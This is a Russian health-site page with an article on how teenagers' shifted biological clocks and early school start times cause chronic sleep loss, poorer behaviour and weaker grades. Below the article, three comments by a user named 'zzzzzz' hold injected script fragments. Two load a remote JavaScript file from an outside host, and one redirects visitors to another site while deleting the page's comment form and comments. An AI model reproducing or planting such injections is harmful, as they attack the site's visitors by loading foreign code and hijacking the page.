Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Как воспитать хороших дет...  >>  Как воспитать хороших детей? Усыпите их!
 
Обратная связь
 

Как воспитать хороших детей? Усыпите их!

Размер шрифта
04 июня 2015 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Согласно данным нового исследования, недостаток сна не только отрицательно сказывается на здоровье человека, но может быть причиной плохого поведения, раздражительности и лени современных подростков.

Причиной недостатка сна чаще всего является раннее начало школьных занятий, которое влияет не только на настроение подростков, но также на их здоровье и способность к обучению.

Не секрет, что наши биологические часы зачастую не совпадают с расписанием занятий; однако способность человеческого организма оптимально функционировать (а значит и усваивать новые знания) в большей степени зависит именно от биологических часов. В детстве, когда биологические и «социальные» часы наиболее тесно связаны, с учебой не возникает особых проблем. Но все резко меняется с наступлением подросткового возраста, когда конфликт между социальными и биологическими часами выражен в наибольшей степени.

Циклы сон-бодрствование (циркадные ритмы) регулируются участком мозга, который называется супрахиазматическое ядро. В пубертатном периоде наши биологические часы меняются, и оптимальный момент для отхода ко сну сдвигается на более позднее время. Именно поэтому большинству подростков так сложно заснуть раньше 11 часов вечера. Позднее засыпание вместе с ранним началом школьных занятий приводит к хроническому недостатку сна, а также к плохим оценкам и проблемам со здоровьем.

Существует достаточно данных, которые говорят о пользе синхронизации времени занятий с биологическими часами подростков. Было показано, что более позднее начало занятий идет на пользу здоровью детей и приводит к улучшению успеваемости. В то же время нет никаких данных о том, что ранние подъемы оказывают положительное влияние на здоровье подростков и их обучаемость. Однако в большинстве своем работники системы образования не могут осознать того факта, что вовсе не лень заставляет детей дольше спать по утрам, что причина этому – их биологические часы. Но несмотря на нежелание большинства менять устоявшееся положение вещей, на данный момент разрабатываются несколько проектов, которые могут привести к скорым изменениям в образовательных программах США.

«Введение новых правил и норм должно быть обосновано и иметь под собой надежные доказательства. На сегодняшний день наши данные говорят о том, что многие дети находятся в очень невыгодном для них положении: они вынуждены подстраиваться под временные рамки занятий, которые не соответствуют их биологическим часам», – объясняют ученые.

Так что будем надеяться, что в ближайшем будущем расписание школьных занятий будет составляться исходя из конкретных потребностей подростков, ведь тогда они будут нормально высыпаться и, если верить ученым, будут учиться гораздо лучше.

Другие секреты идеального воспитания и материнства раскрываются на страницах нашего специального проекта «Ребенок будет».

Исследование опубликовано в журнале Learning, Media and Technology.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 18:18

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 21:18

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:05

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как уснуть, если мысли бегают в голове   Выпей это и спи как никогда!   Во сколько ложиться спать, чтобы не попасть в аварию? Вы удивитесь!   Синхронность сна скажет, насколько вы удовлетворены мужем!  
10 декабря 2012Синий свет спасет от стресса 17 апреля 2013Сколько вы спите – на столько и толстеете! Сколько же спать, чтобы худеть?
 
30 января 2013Хотите не чувствовать боли – спите дольше 15 июля 2013Сколько нужно спать, чтобы помнить все
 

Слайдшоу

1
Как взбодриться на работе и не попасть под сокращение?
Сон для красоты: как спать, чтобы проснуться красивой
В какой позе спать, чтобы проснуться?

Тесты

1
Хорошо ли Вы спите?
Что вы знаете о грудном вскармливании?
Нормальный ли у вас сон?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.